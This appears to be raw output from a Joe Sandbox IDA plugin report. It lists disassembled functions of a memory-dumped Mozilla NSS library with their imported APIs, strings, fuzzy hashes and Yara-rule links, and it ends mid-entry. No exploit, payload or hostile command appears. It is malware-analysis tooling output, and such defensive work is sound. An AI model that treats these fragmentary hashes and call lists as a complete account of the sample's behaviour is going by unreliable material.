Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 77756e7211dfacb6e61a1cb6615923be7a372f002ab18a18924267c85e923464
Instruction ID: 050fef6002893d003234ea111e5f015d3c7fd6dde8bd8c9511b0ee747679385d
Opcode Fuzzy Hash: 77756e7211dfacb6e61a1cb6615923be7a372f002ab18a18924267c85e923464
Instruction Fuzzy Hash: 39A13AB2A59D8087E731563CCC0138836A2EB9733EF188B7AE931C7ED4DB35D4448669

Function 6C5F5DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5F5DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C5F5E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C5F5E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C5F5E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C5F5EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C5F5ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C5F5F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C5F5F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C5F5F89
free.MOZGLUE(?), ref: 6C5F5FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5F5FB6
free.MOZGLUE(00000000), ref: 6C5F5FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5F600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5F6079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5F6084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5F6094

Strings

, xrefs: 6C5F5EEB

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 9d35e75eca8d18fcfb13f01636a7bef6384e6f01d5c74c3ca70acd1fd221b06f
Instruction ID: d20d4566b4703450822d6a3a41b4cbc9da2f5e76fec92018d0df94cda9f667d9
Opcode Fuzzy Hash: 9d35e75eca8d18fcfb13f01636a7bef6384e6f01d5c74c3ca70acd1fd221b06f
Instruction Fuzzy Hash: 738127B1E042059BEB18CE24CC80B9E77B5AF45318F5485A8E929E7791E730E906CFE1

Function 6C5CB860 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000144,?,?,?,?,?,6C5CB45E,?,?,?,?,?,?,?,?), ref: 6C5CB87D
TlsGetValue.KERNEL32 ref: 6C5CB8FE
EnterCriticalSection.KERNEL32(?), ref: 6C5CB912
TlsGetValue.KERNEL32 ref: 6C5CB959
_PR_MD_UNLOCK.NSS3(?), ref: 6C5CB977
calloc.MOZGLUE(00000001,0000002C), ref: 6C5CB983
PR_NewCondVar.NSS3 ref: 6C5CB9B9
InitializeCriticalSectionAndSpinCount.KERNEL32(-00000040,000005DC,?,?), ref: 6C5CBA54
GetLastError.KERNEL32 ref: 6C5CBA5F
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5CBA77
DeleteCriticalSection.KERNEL32(?), ref: 6C5CBA96
free.MOZGLUE(?), ref: 6C5CBA9D
free.MOZGLUE(?), ref: 6C5CBAB3
DeleteCriticalSection.KERNEL32(?), ref: 6C5CBACD
free.MOZGLUE(00000000), ref: 6C5CBAD4

Strings

X tl, xrefs: 6C5CB93C
T tl, xrefs: 6C5CBA0C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$free$DeleteErrorValuecalloc$CondCountEnterInitializeLastSpin
String ID: T tl$X tl
API String ID: 1841981668-1513235571
Opcode ID: 6087d3946bf837a1871ddf687e28738b13aaddda906aa4db03f4f9cdd04a2751
Instruction ID: 83e94c9b61018f0774fce51064b4c4cb98b77255e6e20829d6182e8d1c126094
Opcode Fuzzy Hash: 6087d3946bf837a1871ddf687e28738b13aaddda906aa4db03f4f9cdd04a2751
Instruction Fuzzy Hash: 8551ABB1A003019BEB20EF69CC44B5A7BF4FF4530AF10862DE85ED6A51EB31E455CB92

Function 6C5DF850 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 262COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE004,00000000), ref: 6C5DF86F

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_smprintf.NSS3(%lu,?), ref: 6C5DF899
PR_smprintf.NSS3(%s.%lu,00000000,?), ref: 6C5DFA4E
PR_smprintf.NSS3(%s.%llu,00000000,00000000,00000000), ref: 6C5DFAA2
PR_smprintf.NSS3(%s.UNSUPPORTED,00000000), ref: 6C5DFAB6
free.MOZGLUE(00000000), ref: 6C5DFAC1
PR_smprintf.NSS3(OID.UNSUPPORTED), ref: 6C5DFAD3
__aulldiv.LIBCMT ref: 6C5DFB00
PR_smprintf.NSS3(OID.%llu.%llu,00000000,?,00000000,FFFFFFD8,00000000,00000000,00000028,00000000), ref: 6C5DFB4B

Strings

%s.%llu, xrefs: 6C5DFA9D
OID.UNSUPPORTED, xrefs: 6C5DFACE
%s.%lu, xrefs: 6C5DFA49
OID.%lu.%lu, xrefs: 6C5DFA7D
%s.UNSUPPORTED, xrefs: 6C5DFAB1
OID.%llu.%llu, xrefs: 6C5DFB46

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: R_smprintf$ErrorValue__aulldivfree
String ID: %s.%llu$%s.%lu$%s.UNSUPPORTED$OID.%llu.%llu$OID.%lu.%lu$OID.UNSUPPORTED
API String ID: 2145857551-3523515424
Opcode ID: 14ea79a7fff5636905b2ca80e1a1cdce137789aa11f1313f2e09f5af14cafecb
Instruction ID: d5c657479170185e84181f835a2341a9ed685c6b5466e0d85b1292aa6a918125
Opcode Fuzzy Hash: 14ea79a7fff5636905b2ca80e1a1cdce137789aa11f1313f2e09f5af14cafecb
Instruction Fuzzy Hash: 04819E72F152314BEB048B6C8C5577EBFA2DBC6304F1B47A9E461DBB45E630D9018369

Function 6C6F9C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C6F9C70
PR_NewLock.NSS3 ref: 6C6F9C85

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PR_NewCondVar.NSS3(00000000), ref: 6C6F9C96

Part of subcall function 6C5CBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5D21BC), ref: 6C5CBB8C

PR_NewLock.NSS3 ref: 6C6F9CA9

Part of subcall function 6C6A98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6A9946
Part of subcall function 6C6A98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5616B7,00000000), ref: 6C6A994E
Part of subcall function 6C6A98D0: free.MOZGLUE(00000000), ref: 6C6A995E

PR_NewLock.NSS3 ref: 6C6F9CB9
PR_NewLock.NSS3 ref: 6C6F9CC9
PR_NewCondVar.NSS3(00000000), ref: 6C6F9CDA

Part of subcall function 6C5CBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5CBBEB
Part of subcall function 6C5CBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C5CBBFB
Part of subcall function 6C5CBB80: GetLastError.KERNEL32 ref: 6C5CBC03
Part of subcall function 6C5CBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C5CBC19
Part of subcall function 6C5CBB80: free.MOZGLUE(00000000), ref: 6C5CBC22

PR_NewCondVar.NSS3(?), ref: 6C6F9CF0
PR_NewPollableEvent.NSS3 ref: 6C6F9D03

Part of subcall function 6C6EF3B0: PR_CallOnce.NSS3(6C7414B0,6C6EF510), ref: 6C6EF3E6
Part of subcall function 6C6EF3B0: PR_CreateIOLayerStub.NSS3(6C74006C), ref: 6C6EF402
Part of subcall function 6C6EF3B0: PR_Malloc.NSS3(00000004), ref: 6C6EF416
Part of subcall function 6C6EF3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C6EF42D
Part of subcall function 6C6EF3B0: PR_SetSocketOption.NSS3(?), ref: 6C6EF455
Part of subcall function 6C6EF3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C6EF473

Part of subcall function 6C6A9890: TlsGetValue.KERNEL32(?,?,?,6C6A97EB), ref: 6C6A989E

EnterCriticalSection.KERNEL32(?), ref: 6C6F9D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C6F9DAF
_PR_CreateThread.NSS3(00000000,6C6F9EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6F9D9F

Part of subcall function 6C5CB3C0: TlsGetValue.KERNEL32 ref: 6C5CB403
Part of subcall function 6C5CB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C5CB459

_PR_CreateThread.NSS3(00000000,6C6FA060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6F9DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C6F9DFC
_PR_CreateThread.NSS3(00000000,6C6FA530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C6F9E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C6F9E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C6F9E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6F9E89

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 201f9b8c01ce90bf23e1d9289d59167739bf9088d105f05f0ad7c385d779a8d5
Instruction ID: 36080a68f7071fe2ca8b56bb8ba25ed32264bdda8fa9c0e37367ba9a23e54ec6
Opcode Fuzzy Hash: 201f9b8c01ce90bf23e1d9289d59167739bf9088d105f05f0ad7c385d779a8d5
Instruction Fuzzy Hash: FC616DB1A00706AFD714DF75C844AA7BBE9FF49308B14453AE829C7B11E730E815CBA9

Function 6C5F3FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C5F4014

Part of subcall function 6C5F39F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C5F5E6F,?), ref: 6C5F3A08
Part of subcall function 6C5F39F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C5F5E6F), ref: 6C5F3A1C
Part of subcall function 6C5F39F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5F3A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C5F4038

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C5F404D

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C70A0F4), ref: 6C5F40C2

Part of subcall function 6C63F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C63F0C8
Part of subcall function 6C63F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C63F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C5F409A

Part of subcall function 6C63BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C5EE708,00000000,00000000,00000004,00000000), ref: 6C63BE6A
Part of subcall function 6C63BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C5F04DC,?), ref: 6C63BE7E
Part of subcall function 6C63BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C63BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C5F411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C5F4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C5F4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C70A1C8), ref: 6C5F417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C5F4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C5F41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5F41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C5F41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5F41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C70A1A8), ref: 6C5F422D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 935e3474976359be50e6fbbae9e489b0aec97ce6d92b38d27a7ffbb826052fe5
Instruction ID: 303bf1f38d324740d5f5c571fbfc96d30917fdb026d02ed16214372eccc3e058
Opcode Fuzzy Hash: 935e3474976359be50e6fbbae9e489b0aec97ce6d92b38d27a7ffbb826052fe5
Instruction Fuzzy Hash: 725127B5A003006BF7149B299E41F6776DCDF9134CF044928E96AC6F82FB31E5058A6A

Function 6C638E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C638E01,00000000,6C639060,6C740B64), ref: 6C638E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C638E01,00000000,6C639060,6C740B64), ref: 6C638E9E
PORT_ArenaAlloc_Util.NSS3(6C740B64,00000001,?,?,?,?,6C638E01,00000000,6C639060,6C740B64), ref: 6C638EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C638E01,00000000,6C639060,6C740B64), ref: 6C638EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C638E01,00000000,6C639060,6C740B64), ref: 6C638ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C638E01,00000000,6C639060,6C740B64), ref: 6C638EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C638E01), ref: 6C638EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C740B64,6C740B64), ref: 6C638F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C638F3F

Part of subcall function 6C63A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C63A421,00000000,00000000,6C639826), ref: 6C63A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C63904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C638E76

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: bed95e8a930316708bd3d969f54f0f1228ecb16e77f37a82878ccfb17b6fa1cb
Instruction ID: 0395ff58bd17524e8c7895342e8d63773aeb4f858efad98f35b4c81e79d44e50
Opcode Fuzzy Hash: bed95e8a930316708bd3d969f54f0f1228ecb16e77f37a82878ccfb17b6fa1cb
Instruction Fuzzy Hash: EB61B0B5D002159BDB10CF55CC80AEBBBB6EF89358F14512DDC28A7710EB35A915CFA8

Function 6C5E8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5E8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C5E8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5E8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7118D0,?), ref: 6C5E8F03
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C5E8F19
PL_FreeArenaPool.NSS3(?), ref: 6C5E8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C5E8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C5E8F65
PL_FinishArenaPool.NSS3(?), ref: 6C5E8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C5E8FFE
PR_CallOnce.NSS3(6C742AA4,6C6412D0), ref: 6C5E9012
PL_FreeArenaPool.NSS3(?), ref: 6C5E9024
PL_FinishArenaPool.NSS3(?), ref: 6C5E902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C5E903E

Strings

security, xrefs: 6C5E8EE7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 5a028a07b78900099867cc741ae644cfc82a8518bf1b34eead402c824047a915
Instruction ID: 6079a0cbb36dce8cef797676c33315d8086a19730ad98af70f2001dcc57c983e
Opcode Fuzzy Hash: 5a028a07b78900099867cc741ae644cfc82a8518bf1b34eead402c824047a915
Instruction Fuzzy Hash: 4E514AB1608300ABD710DB58DC41FAB73E9AF8A75CF44882EF99597B40E731D908876B

Function 6C6ACD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ACC7B), ref: 6C6ACD7A

Part of subcall function 6C6ACE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C61C1A8,?), ref: 6C6ACE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ACDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ACDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ACDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ACD8E

Part of subcall function 6C5D05C0: PR_EnterMonitor.NSS3 ref: 6C5D05D1
Part of subcall function 6C5D05C0: PR_ExitMonitor.NSS3 ref: 6C5D05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6ACDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ACDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ACE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ACE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ACE48

Strings

getnameinfo, xrefs: 6C6ACDB2, 6C6ACE23
ws2_32.dll, xrefs: 6C6ACD75
wship6.dll, xrefs: 6C6ACDE3
freeaddrinfo, xrefs: 6C6ACD9F, 6C6ACE10
getaddrinfo, xrefs: 6C6ACD88, 6C6ACDF9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: e97a898d4162b0091ff9289ff258e0a2a79fcf385f247e5ba1348f66a54a9c81
Instruction ID: c9c16183af6cfbdbce7d4cdbb79c76058a72e7c5148185b1f34ebadba73323a0
Opcode Fuzzy Hash: e97a898d4162b0091ff9289ff258e0a2a79fcf385f247e5ba1348f66a54a9c81
Instruction Fuzzy Hash: CF11A8F5E13311A7D70175B56D0059A39A85B8221DB188536E806D5F01FB13DE16C6EF

Function 6C6F1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C6F13BC,?,?,?,6C6F1193), ref: 6C6F1C6B
PR_NewLock.NSS3(?,6C6F1193), ref: 6C6F1C7E

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PR_NewCondVar.NSS3(00000000,?,6C6F1193), ref: 6C6F1C91

Part of subcall function 6C5CBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5D21BC), ref: 6C5CBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C6F1193), ref: 6C6F1CA7

Part of subcall function 6C5CBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C5CBBEB
Part of subcall function 6C5CBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C5CBBFB
